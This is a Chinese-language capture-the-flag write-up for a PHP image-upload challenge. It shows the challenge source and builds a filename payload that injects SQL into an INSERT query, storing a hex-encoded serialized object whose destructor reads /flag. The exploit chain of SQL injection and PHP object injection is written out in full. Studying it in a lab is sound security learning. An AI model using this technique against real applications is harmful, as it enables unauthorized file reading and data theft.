打开题目尝试上传文件发现只能上传图片，然后看见了图片的路径，但是图片码连不上蚁键，结合题目，然后看到了题目给出的github源码 

 

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
    if($_GET["delete_all"] == "true"){
        $show->Delete_All_Images();
    }
}
$show->Get_All_Images();

class show{
    public $con;

    public function __construct(){
        $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
        if (mysqli_connect_errno($this->con)){
            die("Connect MySQL Fail:".mysqli_connect_error());
        }
    }

    public function Get_All_Images(){
        $sql = "SELECT * FROM images";//sql注入重点！！！
        $result = mysqli_query($this->con, $sql);
        if ($result->num_rows > 0){
            while($row = $result->fetch_assoc()){
                if($row["attr"]){
                    $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);//一个替换操作
                    $attr = unserialize($attr_temp);//反序列化
                }
                echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
            }
        }else{
            echo "<p>You have not uploaded an image yet.</p>";
        }
        mysqli_close($this->con);
    }

    public function Delete_All_Images(){
        $sql = "DELETE FROM images";
        $result = mysqli_query($this->con, $sql);
    }
}
?>

<?php
include("./helper.php");
class upload extends helper {
    public function upload_base(){
        $this->upload();
    }
}

if ($_FILES){
    if ($_FILES["file"]["error"]){
        die("Upload file failed.");
    }else{
        $file = new upload();
        $file->upload_base();
    }
}

$a = new helper();
?>


<?php
class helper {
    protected $folder = "pic/";
    protected $ifview = False;
    protected $config = "config.txt";
    // The function is not yet perfect, it is not open yet.

    public function upload($input="file")
    {
        $fileinfo = $this->getfile($input);
        $array = array();
        $array["title"] = $fileinfo['title'];
        $array["filename"] = $fileinfo['filename'];
        $array["ext"] = $fileinfo['ext'];
        $array["path"] = $fileinfo['path'];
        $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
        $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
            $array["attr"] = serialize($my_ext);//序列化宽 高
            $id = $this->save($array);
        if ($id == 0){
            die("Something wrong!");
        }
        echo "<br>";
        echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
    }

    public function getfile($input)
    {
        if(isset($input)){
            $rs = $this->check($_FILES[$input]);
        }
        return $rs;
    }

    public function check($info)
    {
        $basename = substr(md5(time().uniqid()),9,16);
        $filename = $info["name"];
        $ext = substr(strrchr($filename, '.'), 1);
        $cate_exts = array("jpg","gif","png","jpeg");
        if(!in_array($ext,$cate_exts)){
            die("<p>Please upload the correct image file!!!</p>");
        }
        $title = str_replace(".".$ext,'',$filename);
        return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
    }

    public function save($data)
    {
        if(!$data || !is_array($data)){
            die("Something wrong!");
        }
        $id = $this->insert_array($data);  //然后存入数据库
        return $id;
    }

    public function insert_array($data)
    {
        $con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
        if (mysqli_connect_errno($con))
        {
            die("Connect MySQL Fail:".mysqli_connect_error());
        }
        $sql_fields = array();
        $sql_val = array();
        foreach($data as $key=>$value){
            $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//这里是一个替换的操作
            $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
            $sql_fields[] = "`".$key_temp."`";//
            $sql_val[] = "'".$value_temp."'";
        }
        $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
        mysqli_query($con, $sql);
        $id = mysqli_insert_id($con);
        mysqli_close($con);//一些查询数据库的操作
        return $id;
    }

    public function view_files($path){
        if ($this->ifview == False){
            return False;
            //The function is not yet perfect, it is not open yet.
        }
        $content = file_get_contents($path);//读flag的点
        echo $content;
    }

    function __destruct(){
        # Read some config html
        $this->view_files($this->config);
    }
}

?>

三个文件我直接总成了上面这个文件，直接看看重要代码

看见了serialize然后想到了序列化这些，然后又找一下可读flag的代码

public function view_files($path){
        if ($this->ifview == False){
            return False;
            //The function is not yet perfect, it is not open yet.
        }
        $content = file_get_contents($path);//读flag的点
        echo $content;
    }

    function __destruct(){
        # Read some config html
        $this->view_files($this->config);
    }

然后看到了file_get_contents可以读flag,所以$path=/flag，为什么是这个呢，是因为基本上的题目flag都在根目录如果不对可以再继续尝试，然后前提是ifview为true.

从_destruct入手，this->config=/flag

<?php
class helper {
    protected $ifview = True;
    protected $config = "/flag";
}
$a = new helper();
echo (serialize($a));
?>

因为是private的类型的，所以返回的结果为

O:6:"helper":2:{s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}

然后序列化的时候

foreach($data as $key=>$value){
    $key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);//这里是一个替换的操作
    $value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
    $sql_fields[] = "`".$key_temp."`";//
    $sql_val[] = "'".$value_temp."'";

数组变成了：O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}

很简单关注title这个点，他是直接取上传的名字没有后缀，并且没有任何的过滤

$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);

 $attr = unserialize($attr_temp);//反序列化

然后反序列化的attr_temp,也就是attr

INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES('TIM截图
20191102114857','f20c76cc4fb41838.jpg','jpg','pic/f20c76cc4fb41838.jpg','a:2:{s:5:"width";i:1264;s:6:"height";i:992;}')

 title可控，那么我们完全可以构造然后#闭合掉后面的

本来我是没相通为什么，后面序列化的需要hex编码，后来突然懂了，是因为双引号被禁用

在数据库中它会自动识别十六进制的，之所以要编码绕过，因为不要忘了我们注入的地方是文件名！！！

filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.png"

burp抓包修改文件名，然后访问show.php进行反序列化，这里的)#括号是闭合value()井号是注释掉后面的内容。

总结

总结：卡住我的地方第一个就是双引号，一直没懂，翻了好久才知道是文件名不能使用，然后数据库能识别hex编码第一次见。